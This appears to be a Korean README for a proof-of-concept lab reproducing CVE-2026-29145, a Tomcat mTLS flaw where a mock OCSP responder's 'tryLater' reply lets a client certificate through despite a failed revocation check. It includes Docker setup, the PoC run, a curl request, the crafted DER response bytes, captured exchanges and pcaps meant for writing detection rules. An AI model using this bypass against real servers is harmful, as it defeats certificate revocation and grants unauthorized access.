CVE-2026-29145-Everything/
├── README.md                 # 이 파일
├── REPRODUCTION.md           # 상세 재현 노트 및 Suricata 힌트
├── docker-compose.yml        # 취약한 Tomcat + Mock OCSP
├── poc_exploit.py            # 익스플로잇/탐지 스크립트 (exit 10 = 취약)
├── simple_proxy_fail.py      # Mock OCSP (fail / succeed / try_later / internal_error)
├── setup_certs.sh            # CA / 서버 / 클라이언트 인증서 생성 (OCSP AIA 포함)
├── capture_exploit.sh        # 한 번에 익스플로잇 및 패킷 캡처
├── run_test.sh / cleanup.sh
├── requirements.txt
├── tomcat/
│   ├── server.xml            # mTLS + ocspEnabled + ocspSoftFail=false
│   ├── tomcat-users.xml      # CLIENT-CERT 사용자 매핑
│   ├── ROOT/                 # 공식 이미지 기본 ROOT의 최소 패치
│   └── protected/            # 보호된 리소스 + web.xml (CLIENT-CERT)
└── pcaps/                    # ★ 이미 캡처된 익스플로잇 트래픽 (규칙 작성용)
    ├── CVE-2026-29145-mtls-and-ocsp.pcap   # 메인 패킷: mTLS + OCSP
    ├── CVE-2026-29145-ocsp-only.pcap       # OCSP 평문만
    ├── CVE-2026-29145-mtls-only.pcap       # 8443 TLS만
    └── exploit_response.html               # 익스플로잇 성공 응답 스냅샷

git clone https://github.com/gkdgkd123/CVE-2026-29145-Everything.git
cd CVE-2026-29145-Everything

# 1. 인증서 생성 (AIA는 Docker 내 OCSP 서비스 이름을 가리킴)
rm -rf certs
OCSP_URL=http://ocsp-responder:8888 ./setup_certs.sh

# 2. 환경 시작 (기본 OCSP_MODE=try_later)
docker compose up -d
# healthy 상태까지 대기
docker compose ps

# 3. PoC 실행
python3 poc_exploit.py
# 예상 출력:
#   [WARNING] VULNERABLE: Access granted despite OCSP check failure.
# 종료 코드 10 = 취약; 0 = 익스플로잇 불가/패치됨

curl -sk --http1.1 \
  --cert certs/client-cert.pem \
  --key certs/client-key.pem \
  --cacert certs/ca-chain.pem \
  https://127.0.0.1:8443/protected-resource/

./capture_exploit.sh
# pcaps/CVE-2026-29145-*.pcap에 출력

# tryLater — CVE 트리거 경로 (기본)
OCSP_MODE=try_later docker compose up -d --force-recreate

# HTTP 500 실패 (이 환경에서는 하드 실패로 거부)
OCSP_MODE=fail docker compose up -d --force-recreate

# OCSP 성공 모의 (본문은 실제 DER이 아님, 연결 테스트용)
OCSP_MODE=succeed docker compose up -d --force-recreate

# internalError DER
OCSP_MODE=internal_error docker compose up -d --force-recreate

POST / HTTP/1.0
Host: ocsp-responder:8888
Content-Type: application/ocsp-request

HTTP/1.0 200 OK
Content-Type: application/ocsp-response
Content-Length: 5

[5 bytes DER] 30 03 0a 01 03    # tryLater

GET /protected-resource/ HTTP/1.1
Host: 127.0.0.1:8443
User-Agent: CVE-2026-29145-PoC/1.0

HTTP/1.1 200
Content-Type: text/html
...
Protected Resource Access Granted

tshark -r pcaps/CVE-2026-29145-with-keys.pcap -o tls.keylog_file:pcaps/sslkeys.log   -Y 'http && tcp.port==8443' -V

<Connector port="8443" SSLEnabled="true"
           sslImplementationName="org.apache.tomcat.util.net.openssl.OpenSSLImplementation"
           ...>
  <SSLHostConfig
      certificateVerification="required"
      caCertificateFile="conf/certs/ca-chain.pem"
      ocspEnabled="true"
      ocspSoftFail="false"
      ocspTimeout="5">
    <Certificate ... />
  </SSLHostConfig>
</Connector>

./cleanup.sh
# 또는
docker compose down -v